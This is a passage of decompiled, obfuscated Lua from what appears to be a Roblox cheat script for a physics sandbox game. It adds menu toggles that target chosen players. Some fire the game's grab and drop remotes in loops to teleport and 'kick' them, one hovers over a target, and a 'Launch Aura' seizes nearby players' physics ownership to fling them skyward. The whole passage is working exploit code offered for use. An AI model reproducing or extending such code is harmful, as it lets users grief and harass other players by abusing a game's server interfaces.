if l_Humanoid_4 and l_Humanoid_4.SeatPart and l_Humanoid_4.SeatPart.Parent.Name == "CreatureBlobman" then
table.insert(v211.R, v231);
local v233 = v211.LP.Character and v211.LP.Character:FindFirstChild("HumanoidRootPart");
if v233 then
v219("BallSnowball", v233.Position + Vector3.new(0, 2, 0));
end;
end;
end;
end;
task.wait(0.1);
end;
end;
local function v236()
-- upvalues: v211 (ref), v219 (ref)
while v211.SE do
local v235 = v211.LP.Character and v211.LP.Character:FindFirstChild("HumanoidRootPart");
if v235 then
v219("BallSnowball", v235.Position + Vector3.new(0, 2, 0));
end;
task.wait(1);
end;
end;
local function v244()
-- upvalues: v211 (ref)
while v211.TE do
local l_FirstChild_1 = v211.W:FindFirstChild(v211.LP.Name .. "SpawnedInToys");
if l_FirstChild_1 and v211.TP then
local v238 = v211.P:FindFirstChild(v211.TP) and v211.P[v211.TP].Character;
local v239 = v238 and v238:FindFirstChild("HumanoidRootPart");
if v239 then
for _, v241 in ipairs(l_FirstChild_1:GetChildren()) do
if v241:IsA("Model") and v241.Name == "BallSnowball" then
for _, v243 in ipairs(v241:GetDescendants()) do
if v243:IsA("BasePart") then
v243.Position = v239.Position;
end;
end;
end;
end;
end;
end;
task.wait(0.1);
end;
end;
v112:AddDropdown({
Name = "Select Player",
Options = v215(),
Callback = function(v245)
-- upvalues: v211 (ref)
v211.TP = v245;
end
});
v112:AddToggle({
Name = "Snowball Ragdoll",
Callback = function(v246)
-- upvalues: v211 (ref), v244 (ref)
v211.TE = v246;
if v246 then
task.spawn(v244);
end;
end
});
v112:AddToggle({
Name = "Auto Spawn",
Callback = function(v247)
-- upvalues: v211 (ref), v236 (ref)
v211.SE = v247;
if v247 then
task.spawn(v236);
end;
end
});
v112:AddToggle({
Name = "Auto Kick Blob",
Callback = function(v248)
-- upvalues: v211 (ref), v234 (ref), v229 (ref)
v211.AE = v248;
if v248 then
task.spawn(v234);
task.spawn(v229);
end;
end
});
if not game:IsLoaded() then
game.Loaded:Wait();
end;
if not syn or not protectgui then
getgenv().protectgui = function()
end;
end;
local v249 = v44:MakeTab({
Name = "Blobman Loop",
Icon = "rbxassetid://6031091005",
PremiumOnly = false
});
local _ = v249:AddSection({
Name = "Blobman Target"
});
local v251 = {
Players = game:GetService("Players"),
ReplicatedStorage = game:GetService("ReplicatedStorage"),
Workspace = game:GetService("Workspace"),
LocalPlayer = "Blobman Target",
TargetList = v47.TargetList or {},
selectedPlayer = "selectedPlayer",
toggleEnabled = false,
teleportAllEnabled = false,
teleportDelay = 1,
currentBlobman = "currentBlobman",
masterRunning = false,
blobalter = 1,
ORIGIN_POS = "ORIGIN_POS",
MAX_TELEPORT_DIST = 500,
targetPlayerDropdown = "targetPlayerDropdown"
};
v251.LocalPlayer = v251.Players.LocalPlayer;
v47.TargetList = v251.TargetList;
local function v255()
-- upvalues: v251 (ref)
local v252 = {};
for _, v254 in ipairs(v251.Players:GetPlayers()) do
if v254 ~= v251.LocalPlayer then
table.insert(v252, v254.Name);
end;
end;
return v252;
end;
local function v256()
-- upvalues: v251 (ref), v255 (ref)
if v251.targetPlayerDropdown then
v251.targetPlayerDropdown:Refresh(v255(), true);
end;
end;
v251.targetPlayerDropdown = v249:AddDropdown({
Name = "Select Player",
Default = "",
Options = v255(),
Callback = function(v257)
-- upvalues: v251 (ref)
v251.selectedPlayer = v251.Players:FindFirstChild(v257);
end
});
v39(v251.targetPlayerDropdown);
v249:AddButton({
Name = "Add Selected Player to Target List",
Callback = function()
-- upvalues: v251 (ref), v43 (ref)
if v251.selectedPlayer and not v251.TargetList[v251.selectedPlayer.UserId] then
v251.TargetList[v251.selectedPlayer.UserId] = v251.selectedPlayer.Name;
v43:MakeNotification({
Name = "Player Added",
Content = v251.selectedPlayer.Name .. " added to target list.",
Time = 2
});
end;
end
});
v249:AddButton({
Name = "Remove Selected Player from Target List",
Callback = function()
-- upvalues: v251 (ref), v43 (ref)
if v251.selectedPlayer and v251.TargetList[v251.selectedPlayer.UserId] then
v251.TargetList[v251.selectedPlayer.UserId] = "UserId";
v43:MakeNotification({
Name = "Player Removed",
Content = v251.selectedPlayer.Name .. " removed from target list.",
Time = 2
});
end;
end
});
local function v262(v258, v259)
-- upvalues: v25 (ref)
if v25 ~= 1 then
if v258.Character and v258.Character:FindFirstChild("HumanoidRootPart") then
local v260 = {
v259:FindFirstChild("RightDetector"),
v258.Character:FindFirstChild("HumanoidRootPart"),
v259:FindFirstChild("RightDetector"):FindFirstChild("RightWeld")
};
v259:WaitForChild("BlobmanSeatAndOwnerScript"):WaitForChild("CreatureGrab"):FireServer(unpack(v260));
v25 = 1;
end;
elseif v258.Character and v258.Character:FindFirstChild("HumanoidRootPart") then
local v261 = {
v259:FindFirstChild("LeftDetector"),
v258.Character:FindFirstChild("HumanoidRootPart"),
v259:FindFirstChild("LeftDetector"):FindFirstChild("LeftWeld")
};
v259:WaitForChild("BlobmanSeatAndOwnerScript"):WaitForChild("CreatureGrab"):FireServer(unpack(v261));
v25 = 2;
end;
end;
local function v265()
-- upvalues: l_LocalPlayer_0 (ref)
local l_Character_9 = l_LocalPlayer_0.Character;
if l_Character_9 then
local l_Humanoid_5 = l_Character_9:FindFirstChildOfClass("Humanoid");
if l_Humanoid_5 and l_Humanoid_5.SeatPart and l_Humanoid_5.SeatPart.Parent.Name == "CreatureBlobman" then
return l_Humanoid_5.SeatPart.Parent;
end;
end;
return nil;
end;
local function v270(v266, v267)
-- upvalues: l_LocalPlayer_0 (ref)
local v268 = l_LocalPlayer_0.Character and l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart");
if not v268 then
return;
else
local l_BodyPosition_0 = Instance.new("BodyPosition");
l_BodyPosition_0.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
l_BodyPosition_0.P = 100000;
l_BodyPosition_0.Position = v267;
l_BodyPosition_0.Parent = v266.PrimaryPart;
v268.CFrame = CFrame.new(v267);
v266:SetPrimaryPartCFrame(CFrame.new(v267));
task.wait(0.1);
l_BodyPosition_0:Destroy();
return;
end;
end;
local function v277()
-- upvalues: v14 (ref), l_Workspace_0 (ref), l_LocalPlayer_5 (ref), v43 (ref), v47 (ref), l_Players_0 (ref), v262 (ref)
task.spawn(function()
-- upvalues: v14 (ref), l_Workspace_0 (ref), l_LocalPlayer_5 (ref), v43 (ref), v47 (ref), l_Players_0 (ref), v262 (ref)
while true do
if v14 then
local v271 = nil;
for _, v273 in pairs(l_Workspace_0:GetDescendants()) do
if v273.Name == "CreatureBlobman" and v273:FindFirstChild("VehicleSeat") and v273.VehicleSeat:FindFirstChild("SeatWeld") and v273.VehicleSeat.SeatWeld.Part1:IsDescendantOf(l_LocalPlayer_5.Character) then
v271 = v273;
break;
end;
end;
if not v271 then
v43:MakeNotification({
Name = "Error",
Content = "You must be mounted on a Blobman!",
Time = 5
});
v14 = false;
return;
else
for v274, _ in pairs(v47.TargetList) do
local l_l_Players_0_PlayerByUserId_0 = l_Players_0:GetPlayerByUserId(v274);
if l_l_Players_0_PlayerByUserId_0 then
v262(l_l_Players_0_PlayerByUserId_0, v271);
task.wait(v47.BlobmanDelay or 0.1);
end;
end;
task.wait(0.02);
end;
else
return;
end;
end;
end);
end;
local function v283(v278, v279, v280)
-- upvalues: l_LocalPlayer_0 (ref), v270 (ref), v262 (ref)
if not l_LocalPlayer_0.Character or not l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart") or not v278.Character or not v278.Character:FindFirstChild("HumanoidRootPart") then
return false;
else
local l_HumanoidRootPart_6 = v278.Character.HumanoidRootPart;
if (l_HumanoidRootPart_6.Position - v280).Magnitude > 20 then
local v282 = l_HumanoidRootPart_6.Position + Vector3.new(0, 2, 0);
v270(v279, v282);
task.wait(0.2);
v262(v278, v279);
task.wait(0.2);
v270(v279, v280);
task.wait(0.2);
if (l_HumanoidRootPart_6.Position - v280).Magnitude > 20 then
return false;
else
return true;
end;
else
return true;
end;
end;
end;
local function v292()
-- upvalues: v14 (ref), v265 (ref), l_LocalPlayer_0 (ref), v47 (ref), l_Players_0 (ref), v283 (ref)
task.spawn(function()
-- upvalues: v14 (ref), v265 (ref), l_LocalPlayer_0 (ref), v47 (ref), l_Players_0 (ref), v283 (ref)
while v14 do
local v284 = v265();
local v285 = l_LocalPlayer_0.Character and l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart");
if v284 and v285 then
local l_Position_1 = v285.Position;
for v287, _ in pairs(v47.TargetList) do
local l_l_Players_0_PlayerByUserId_1 = l_Players_0:GetPlayerByUserId(v287);
if l_l_Players_0_PlayerByUserId_1 and l_l_Players_0_PlayerByUserId_1.Character and l_l_Players_0_PlayerByUserId_1.Character:FindFirstChild("HumanoidRootPart") and (l_l_Players_0_PlayerByUserId_1.Character.HumanoidRootPart.Position - l_Position_1).Magnitude > 20 then
local v290 = false;
local v291 = 0;
while v14 and not v290 and v291 < 3 do
v290 = v283(l_l_Players_0_PlayerByUserId_1, v284, l_Position_1);
v291 = v291 + 1;
if not v290 then
task.wait(0.5);
end;
end;
end;
end;
end;
task.wait(0.2);
end;
end);
end;
v249:AddToggle({
Name = "Blobman Target (If you are in safe zone/void)",
Default = false,
Callback = function(v293)
-- upvalues: v14 (ref), v277 (ref), v292 (ref)
v14 = v293;
if v293 then
v277();
v292();
end;
end
});
local function v297(v294)
-- upvalues: v251 (ref)
local v295 = RaycastParams.new();
v295.FilterDescendantsInstances = {
v251.LocalPlayer.Character
};
v295.FilterType = Enum.RaycastFilterType.Blacklist;
local v296 = v251.Workspace:Raycast(v294 + Vector3.new(0, 50, 0), Vector3.new(0, -400), v295);
return v296 and v296.Position or v294;
end;
local function v305()
-- upvalues: v251 (ref), v297 (ref)
local v298 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v298 then
local v299 = v297(v298.Position);
local v300 = CFrame.new(v299 + Vector3.new(0, 3, 0));
pcall(function()
-- upvalues: v251 (ref), v300 (ref)
v251.ReplicatedStorage.MenuToys.SpawnToyRemoteFunction:InvokeServer("CreatureBlobman", v300, Vector3.new(0, 59.667, 0));
end);
local v301 = v251.LocalPlayer.Name .. "SpawnedInToys";
for _ = 1, 30 do
local l_FirstChild_2 = v251.Workspace:FindFirstChild(v301);
if l_FirstChild_2 then
local l_CreatureBlobman_0 = l_FirstChild_2:FindFirstChild("CreatureBlobman");
if l_CreatureBlobman_0 then
v251.blobalter = 1;
return l_CreatureBlobman_0;
end;
end;
task.wait(0.15);
end;
return nil;
else
return nil;
end;
end;
local function v307()
-- upvalues: v251 (ref)
local l_FirstChild_3 = v251.Workspace:FindFirstChild(v251.LocalPlayer.Name .. "SpawnedInToys");
return l_FirstChild_3 and l_FirstChild_3:FindFirstChild("CreatureBlobman") or nil;
end;
local function v310()
-- upvalues: v251 (ref)
local l_Character_10 = v251.LocalPlayer.Character;
if l_Character_10 then
local l_Humanoid_6 = l_Character_10:FindFirstChildOfClass("Humanoid");
if l_Humanoid_6 and l_Humanoid_6.SeatPart and l_Humanoid_6.SeatPart.Parent and l_Humanoid_6.SeatPart.Parent.Name == "CreatureBlobman" then
return l_Humanoid_6.SeatPart.Parent;
else
return nil;
end;
else
return nil;
end;
end;
local function v316(v311)
-- upvalues: v251 (ref)
if not v311 or not v251.LocalPlayer.Character then
return;
else
local l_Character_11 = v251.LocalPlayer.Character;
local l_Humanoid_7 = l_Character_11:FindFirstChildOfClass("Humanoid");
local l_HumanoidRootPart_7 = l_Character_11:FindFirstChild("HumanoidRootPart");
if l_Humanoid_7 and l_HumanoidRootPart_7 then
local l_VehicleSeat_0 = v311:FindFirstChild("VehicleSeat");
if l_VehicleSeat_0 and l_VehicleSeat_0:IsA("VehicleSeat") then
l_HumanoidRootPart_7.CFrame = l_VehicleSeat_0.CFrame + Vector3.new(0, 2, 0);
pcall(function()
-- upvalues: l_VehicleSeat_0 (ref), l_Humanoid_7 (ref)
l_VehicleSeat_0:Sit(l_Humanoid_7);
end);
task.wait(0.25);
end;
return;
else
return;
end;
end;
end;
local function v322(v317, v318)
-- upvalues: v251 (ref)
if not v317 or not v317.PrimaryPart then
return;
else
local l_Character_12 = v251.LocalPlayer.Character;
if l_Character_12 then
local l_HumanoidRootPart_8 = l_Character_12:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_8 then
local l_BodyPosition_1 = Instance.new("BodyPosition");
l_BodyPosition_1.MaxForce = Vector3.new(math.huge, math.huge, math.huge);
l_BodyPosition_1.P = 100000;
l_BodyPosition_1.Position = v318;
l_BodyPosition_1.Parent = v317.PrimaryPart;
pcall(function()
-- upvalues: l_HumanoidRootPart_8 (ref), v318 (ref), v317 (ref)
l_HumanoidRootPart_8.CFrame = CFrame.new(v318);
v317:SetPrimaryPartCFrame(CFrame.new(v318));
end);
task.wait(0.1);
if l_BodyPosition_1 and l_BodyPosition_1.Parent then
l_BodyPosition_1:Destroy();
end;
return;
else
return;
end;
else
return;
end;
end;
end;
local function v333(v323, v324)
-- upvalues: v251 (ref)
if not v323 or not v324 then
return;
elseif v323.Character and v323.Character:FindFirstChild("HumanoidRootPart") then
local l_LeftDetector_0 = v324:FindFirstChild("LeftDetector");
local l_RightDetector_0 = v324:FindFirstChild("RightDetector");
local l_BlobmanSeatAndOwnerScript_0 = v324:FindFirstChild("BlobmanSeatAndOwnerScript");
if l_BlobmanSeatAndOwnerScript_0 then
local l_CreatureGrab_0 = l_BlobmanSeatAndOwnerScript_0:FindFirstChild("CreatureGrab");
if l_CreatureGrab_0 then
if v251.blobalter == 1 then
local v329 = l_LeftDetector_0 and l_LeftDetector_0:FindFirstChild("LeftWeld");
do
local l_v329_0 = v329;
if l_LeftDetector_0 and l_v329_0 then
pcall(function()
-- upvalues: l_CreatureGrab_0 (ref), l_LeftDetector_0 (ref), v323 (ref), l_v329_0 (ref)
l_CreatureGrab_0:FireServer(l_LeftDetector_0, v323.Character.HumanoidRootPart, l_v329_0);
end);
v251.blobalter = 2;
end;
end;
else
local v331 = l_RightDetector_0 and l_RightDetector_0:FindFirstChild("RightWeld");
do
local l_v331_0 = v331;
if l_RightDetector_0 and l_v331_0 then
pcall(function()
-- upvalues: l_CreatureGrab_0 (ref), l_RightDetector_0 (ref), v323 (ref), l_v331_0 (ref)
l_CreatureGrab_0:FireServer(l_RightDetector_0, v323.Character.HumanoidRootPart, l_v331_0);
end);
v251.blobalter = 1;
end;
end;
end;
return;
else
return;
end;
else
return;
end;
else
return;
end;
end;
local function v342(v334, v335, v336, v337)
-- upvalues: v251 (ref), v333 (ref), v322 (ref)
if not v337 then
v337 = 20;
end;
if v334 and v335 and v336 then
if v334.Character and v334.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_9 = v334.Character.HumanoidRootPart;
local l_Magnitude_0 = (l_HumanoidRootPart_9.Position - v336).Magnitude;
if not v251.ORIGIN_POS or (l_HumanoidRootPart_9.Position - v251.ORIGIN_POS).Magnitude <= v251.MAX_TELEPORT_DIST then
if l_Magnitude_0 <= v337 then
v333(v334, v335);
task.wait(0.1);
return true;
else
local v340 = l_HumanoidRootPart_9.Position + Vector3.new(0, 2, 0);
v322(v335, v340);
task.wait(0.2);
v333(v334, v335);
task.wait(0.2);
v322(v335, v336);
task.wait(0.2);
if v334.Character and v334.Character:FindFirstChild("HumanoidRootPart") then
if (v334.Character.HumanoidRootPart.Position - v336).Magnitude > v337 then
local _ = false;
end;
return true;
else
return false;
end;
end;
else
return false;
end;
else
return false;
end;
else
return false;
end;
end;
local function v358(v343, v344, v345)
-- upvalues: v251 (ref), v322 (ref), v333 (ref)
if v343 and v343.Character and v344 and v344.Parent then
local l_HumanoidRootPart_10 = v343.Character:FindFirstChild("HumanoidRootPart");
if l_HumanoidRootPart_10 then
local l_BlobmanSeatAndOwnerScript_1 = v344:FindFirstChild("BlobmanSeatAndOwnerScript");
if l_BlobmanSeatAndOwnerScript_1 then
local l_CreatureDrop_0 = l_BlobmanSeatAndOwnerScript_1:FindFirstChild("CreatureDrop");
local l_CreatureGrab_1 = l_BlobmanSeatAndOwnerScript_1:FindFirstChild("CreatureGrab");
if not l_CreatureDrop_0 or not l_CreatureGrab_1 then
return;
else
for v350 = 1, 4 do
if v251.toggleEnabled then
local v351 = (v345 or v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and v251.LocalPlayer.Character.HumanoidRootPart.Position or Vector3.new()) + Vector3.new(0, 10 * v350, 0);
if v344 and v344.PrimaryPart then
v322(v344, v351);
end;
task.wait(0.1);
local l_LeftDetector_1 = v344:FindFirstChild("LeftDetector");
local l_RightDetector_1 = v344:FindFirstChild("RightDetector");
local v354 = l_LeftDetector_1 and (l_LeftDetector_1:FindFirstChild("RigidConstraint") or l_LeftDetector_1:FindFirstChild("LeftWeld"));
local v355 = l_RightDetector_1 and (l_RightDetector_1:FindFirstChild("RightWeld") or l_RightDetector_1:FindFirstChild("RigidConstraint"));
do
local l_v354_0, l_v355_0 = v354, v355;
if l_v354_0 then
pcall(function()
-- upvalues: l_CreatureDrop_0 (ref), l_v354_0 (ref), l_HumanoidRootPart_10 (ref)
l_CreatureDrop_0:FireServer(l_v354_0, l_HumanoidRootPart_10);
end);
end;
if l_v355_0 then
pcall(function()
-- upvalues: l_CreatureDrop_0 (ref), l_v355_0 (ref), l_HumanoidRootPart_10 (ref)
l_CreatureDrop_0:FireServer(l_v355_0, l_HumanoidRootPart_10);
end);
end;
task.wait(0.1);
v333(v343, v344);
task.wait(0.1);
end;
else
break;
end;
end;
return;
end;
else
return;
end;
else
return;
end;
else
return;
end;
end;
local function v384()
-- upvalues: v251 (ref), v47 (ref), v307 (ref), v305 (ref), v310 (ref), v316 (ref), v342 (ref), v358 (ref), v333 (ref)
if not v251.masterRunning then
v251.masterRunning = true;
local l_Character_13 = v251.LocalPlayer.Character;
local v360 = l_Character_13 and l_Character_13:FindFirstChild("HumanoidRootPart");
if v360 then
v251.ORIGIN_POS = v360.Position;
end;
v47.LastProcessed = v47.LastProcessed or {};
task.spawn(function()
-- upvalues: v251 (ref), v307 (ref), v305 (ref), v310 (ref), v316 (ref), v47 (ref), v342 (ref), v358 (ref), v333 (ref)
local v361 = false;
while v251.toggleEnabled do
if not v251.currentBlobman or v251.currentBlobman and not v251.currentBlobman.Parent then
v251.currentBlobman = v307();
end;
if not v251.currentBlobman or v251.currentBlobman and not v251.currentBlobman.Parent then
local v362 = v305();
if v362 then
v251.currentBlobman = v362;
task.wait(0.25);
end;
end;
if v251.currentBlobman and v251.currentBlobman.Parent then
local v363 = v310();
if not v363 or v363 ~= v251.currentBlobman then
local v364 = os.clock();
while v251.toggleEnabled and (not v363 or v363 ~= v251.currentBlobman) do
v316(v251.currentBlobman);
task.wait(0.25);
v363 = v310();
if v363 ~= v251.currentBlobman then
if os.clock() - v364 >= 5 then
local v365 = v305();
if v365 then
v251.currentBlobman = v365;
task.wait(0.3);
for _ = 1, 6 do
if v251.toggleEnabled then
v316(v251.currentBlobman);
task.wait(0.25);
v361 = v310() == v251.currentBlobman;
else
v361 = true;
end;
if v361 then
break;
end;
if v361 then
break;
end;
end;
if not v361 then
if not v361 then
break;
end;
end;
else
break;
end;
end;
else
break;
end;
if v361 then
break;
end;
if v361 then
break;
end;
end;
end;
v361 = false;
if v310() == v251.currentBlobman then
local l_Character_14 = v251.LocalPlayer.Character;
local v368 = l_Character_14 and l_Character_14:FindFirstChild("HumanoidRootPart");
if v368 then
local l_Position_2 = v368.Position;
local v370 = {};
if v251.teleportAllEnabled then
for _, v372 in ipairs(v251.Players:GetPlayers()) do
if v372 ~= v251.LocalPlayer then
table.insert(v370, v372);
end;
end;
else
for v373, _ in pairs(v251.TargetList) do
local l_PlayerByUserId_0 = v251.Players:GetPlayerByUserId(v373);
if l_PlayerByUserId_0 then
table.insert(v370, l_PlayerByUserId_0);
end;
end;
end;
if true then
local l_l_Position_2_0 = l_Position_2;
for _, v378 in ipairs(v370) do
if v251.toggleEnabled then
if true then
local l_v378_0 = v378;
if l_v378_0 and l_v378_0.Character and l_v378_0.Character:FindFirstChild("HumanoidRootPart") then
if v47.LastProcessed[l_v378_0.UserId] then
local v380 = l_v378_0.Character and l_v378_0.Character:FindFirstChild("HumanoidRootPart");
local v381 = l_v378_0.Character and l_v378_0.Character:FindFirstChild("Humanoid");
if not v380 or not v381 or v381.Health <= 0 or (v380.Position - l_l_Position_2_0).Magnitude > 20 then
v47.LastProcessed[l_v378_0.UserId] = 20;
end;
end;
if v251.ORIGIN_POS and (l_v378_0.Character.HumanoidRootPart.Position - v251.ORIGIN_POS).Magnitude <= v251.MAX_TELEPORT_DIST then
if (l_v378_0.Character.HumanoidRootPart.Position - l_l_Position_2_0).Magnitude > 20 then
local v382 = false;
local v383 = 0;
while v251.toggleEnabled and not v382 and v383 < 3 and v251.currentBlobman and v251.currentBlobman.Parent and v310() == v251.currentBlobman do
v382 = v342(l_v378_0, v251.currentBlobman, l_l_Position_2_0, 20);
v383 = v383 + 1;
if v382 then
pcall(function()
-- upvalues: v358 (ref), l_v378_0 (ref), v251 (ref), l_l_Position_2_0 (ref)
v358(l_v378_0, v251.currentBlobman, l_l_Position_2_0);
end);
v47.LastProcessed[l_v378_0.UserId] = tick();
else
task.wait(0.4);
end;
end;
else
v333(l_v378_0, v251.currentBlobman);
task.wait(v47.BlobmanDelay or 0.1);
pcall(function()
-- upvalues: v358 (ref), l_v378_0 (ref), v251 (ref), l_l_Position_2_0 (ref)
v358(l_v378_0, v251.currentBlobman, l_l_Position_2_0);
end);
v47.LastProcessed[l_v378_0.UserId] = tick();
end;
end;
end;
end;
else
break;
end;
end;
end;
end;
end;
end;
task.wait(0.25);
end;
v251.masterRunning = false;
end);
return;
else
return;
end;
end;
v251.LocalPlayer.CharacterAdded:Connect(function()
-- upvalues: v251 (ref), v384 (ref)
if v251.toggleEnabled then
task.wait(1.5);
local v385 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v385 then
v251.ORIGIN_POS = v385.Position;
end;
v384();
end;
end);
v249:AddToggle({
Name = "Blobman Target (Kick)",
Default = false,
Callback = function(v386)
-- upvalues: v251 (ref), v384 (ref)
v251.toggleEnabled = v386;
if v386 then
local v387 = v251.LocalPlayer.Character and v251.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
if v387 then
v251.ORIGIN_POS = v387.Position;
end;
v384();
end;
end
});
v249:AddSlider({
Name = "Teleport Duration",
Min = 0.25,
Max = 3,
Default = v251.teleportDelay,
Increment = 0.01,
ValueName = "Seconds",
Callback = function(v388)
-- upvalues: v251 (ref)
v251.teleportDelay = v388;
end
});
v251.Players.PlayerAdded:Connect(v256);
v251.Players.PlayerRemoving:Connect(v256);
local v389 = {
autoGrab = false,
autoGrabCoroutine = "autoGrabCoroutine"
};
local function v397(v390, v391)
local l_LeftDetector_2 = v390:FindFirstChild("LeftDetector");
local l_RightDetector_2 = v390:FindFirstChild("RightDetector");
local l_BlobmanSeatAndOwnerScript_2 = v390:FindFirstChild("BlobmanSeatAndOwnerScript");
if not l_LeftDetector_2 or not l_RightDetector_2 or not l_BlobmanSeatAndOwnerScript_2 or not v391 then
return;
else
local l_RigidConstraint_0 = l_LeftDetector_2:FindFirstChild("RigidConstraint");
local l_RightWeld_0 = l_RightDetector_2:FindFirstChild("RightWeld");
if l_RigidConstraint_0 then
pcall(function()
-- upvalues: l_BlobmanSeatAndOwnerScript_2 (ref), l_LeftDetector_2 (ref), v391 (ref), l_RigidConstraint_0 (ref)
l_BlobmanSeatAndOwnerScript_2.CreatureGrab:FireServer(l_LeftDetector_2, v391, l_RigidConstraint_0);
l_BlobmanSeatAndOwnerScript_2.CreatureDrop:FireServer(l_RigidConstraint_0, v391);
end);
end;
if l_RightWeld_0 then
pcall(function()
-- upvalues: l_BlobmanSeatAndOwnerScript_2 (ref), l_RightDetector_2 (ref), v391 (ref), l_RightWeld_0 (ref)
l_BlobmanSeatAndOwnerScript_2.CreatureGrab:FireServer(l_RightDetector_2, v391, l_RightWeld_0);
l_BlobmanSeatAndOwnerScript_2.CreatureDrop:FireServer(l_RightWeld_0, v391);
end);
end;
return;
end;
end;
local function v401()
-- upvalues: l_Workspace_0 (ref)
for _, v399 in pairs(l_Workspace_0:GetDescendants()) do
if v399:IsA("Model") and v399.Name == "CreatureBlobman" and v399:FindFirstChild("VehicleSeat") then
local l_SeatWeld_0 = v399.VehicleSeat:FindFirstChild("SeatWeld");
if l_SeatWeld_0 and l_SeatWeld_0.Part1 and l_SeatWeld_0.Part1:IsDescendantOf(game.Players.LocalPlayer.Character) then
return v399;
end;
end;
end;
return nil;
end;
local function v407()
-- upvalues: v389 (ref), v401 (ref), v43 (ref), v47 (ref), v397 (ref)
v389.autoGrabCoroutine = coroutine.create(function()
-- upvalues: v401 (ref), v43 (ref), v389 (ref), v47 (ref), v397 (ref)
local v402 = v401();
if v402 then
while v389.autoGrab do
for v403, _ in pairs(v47.TargetList) do
if v403 ~= game.Players.LocalPlayer.UserId then
local l_PlayerByUserId_1 = game.Players:GetPlayerByUserId(v403);
local v406 = l_PlayerByUserId_1 and l_PlayerByUserId_1.Character and l_PlayerByUserId_1.Character:FindFirstChild("HumanoidRootPart");
if v406 then
v397(v402, v406);
end;
end;
end;
task.wait(0.01);
end;
return;
else
v43:MakeNotification({
Name = "No Blobman Found",
Content = "You must be riding a Blobman to use this.",
Image = "rbxassetid://4483345998",
Time = 5
});
return;
end;
end);
coroutine.resume(v389.autoGrabCoroutine);
end;
v249:AddToggle({
Name = "God Loop Target",
Default = false,
Callback = function(v408)
-- upvalues: v389 (ref), v407 (ref)
v389.autoGrab = v408;
if not v408 then
if v389.autoGrabCoroutine then
coroutine.close(v389.autoGrabCoroutine);
v389.autoGrabCoroutine = "close";
end;
else
v407();
end;
end
});
local v409 = {
enabled = false,
coroutine = "coroutine",
MAX_HOVER_DIST = 500,
HOVER_HEIGHT = 25
};
local function v416()
-- upvalues: v409 (ref), v310 (ref), v251 (ref), v322 (ref)
v409.coroutine = coroutine.create(function()
-- upvalues: v409 (ref), v310 (ref), v251 (ref), v322 (ref)
while v409.enabled do
local v410 = v310();
local l_selectedPlayer_0 = v251.selectedPlayer;
if v410 and l_selectedPlayer_0 and l_selectedPlayer_0.Character and l_selectedPlayer_0.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_11 = l_selectedPlayer_0.Character.HumanoidRootPart;
local l_Character_15 = v251.LocalPlayer.Character;
local v414 = l_Character_15 and l_Character_15:FindFirstChild("HumanoidRootPart");
if v414 and (v414.Position - l_HumanoidRootPart_11.Position).Magnitude <= v409.MAX_HOVER_DIST then
local v415 = l_HumanoidRootPart_11.Position + Vector3.new(0, v409.HOVER_HEIGHT, 0);
v322(v410, v415);
end;
end;
task.wait(0.06);
end;
end);
coroutine.resume(v409.coroutine);
end;
v249:AddToggle({
Name = "Hover above target",
Default = false,
Callback = function(v417)
-- upvalues: v409 (ref), v416 (ref)
v409.enabled = v417;
if not v417 then
if v409.coroutine then
coroutine.close(v409.coroutine);
v409.coroutine = "close";
end;
else
v416();
end;
end
});
local v418 = v44:MakeTab({
Name = "Auras",
Icon = "rbxassetid://6031075939",
PremiumOnly = false
});
local _ = v418:AddSection({
Name = "Auras"
});
local v420 = {
auraCoroutine = "auraCoroutine",
gravityCoroutine = "gravityCoroutine",
localPlayer = game.Players.LocalPlayer,
Players = game.Players,
Debris = game:GetService("Debris"),
SetNetworkOwner = game.ReplicatedStorage:WaitForChild("GrabEvents"):WaitForChild("SetNetworkOwner"),
OrionLib = v43,
Tab = v418,
auraRadius = 25
};
local function v433()
-- upvalues: v420 (ref)
v420.auraCoroutine = coroutine.create(function()
-- upvalues: v420 (ref)
while true do
local l_status_0, l_result_0 = pcall(function()
-- upvalues: v420 (ref)
local l_Character_16 = v420.localPlayer.Character;
if l_Character_16 and l_Character_16:FindFirstChild("Head") and l_Character_16:FindFirstChild("HumanoidRootPart") then
local _ = l_Character_16.Head;
local l_HumanoidRootPart_12 = l_Character_16.HumanoidRootPart;
do
local l_l_HumanoidRootPart_12_0 = l_HumanoidRootPart_12;
for _, v426 in pairs(v420.Players:GetPlayers()) do
do
local l_v426_0 = v426;
coroutine.wrap(function()
-- upvalues: l_v426_0 (ref), v420 (ref), l_l_HumanoidRootPart_12_0 (ref)
if l_v426_0 ~= v420.localPlayer and l_v426_0.Character then
local l_Character_17 = l_v426_0.Character;
local l_Torso_0 = l_Character_17:FindFirstChild("Torso");
if l_Torso_0 and (l_Torso_0.Position - l_l_HumanoidRootPart_12_0.Position).Magnitude <= v420.auraRadius then
v420.SetNetworkOwner:FireServer(l_Torso_0, l_Character_17.HumanoidRootPart.FirePlayerPart.CFrame);
task.wait(0.1);
local v430 = l_Torso_0:FindFirstChild("l") or Instance.new("BodyVelocity", l_Torso_0);
v430.Name = "l";
v430.Velocity = Vector3.new(0, 200000000000, 0);
v430.MaxForce = Vector3.new(0, math.huge, 0);
v420.Debris:AddItem(v430, 100);
task.wait(1);
v420.SetNetworkOwner:FireServer(l_Torso_0, nil);
if v430 then
v430:Destroy();
end;
end;
end;
end)();
end;
end;
end;
end;
end);
if not l_status_0 then
warn("Error in Air Suspend Aura: " .. tostring(l_result_0));
end;
task.wait(0.02);
end;
end);
coroutine.resume(v420.auraCoroutine);
end;
local function v434()
-- upvalues: v420 (ref)
if v420.auraCoroutine then
coroutine.close(v420.auraCoroutine);
v420.auraCoroutine = "close";
end;
end;
v420.Tab:AddToggle({
Name = " Launch Aura",
Default = false,
Callback = function(v435)
-- upvalues: v433 (ref), v434 (ref)
if v435 then
v433();
else
v434();
end;
end
});
v420.localPlayer.CharacterAdded:Connect(function(v436)
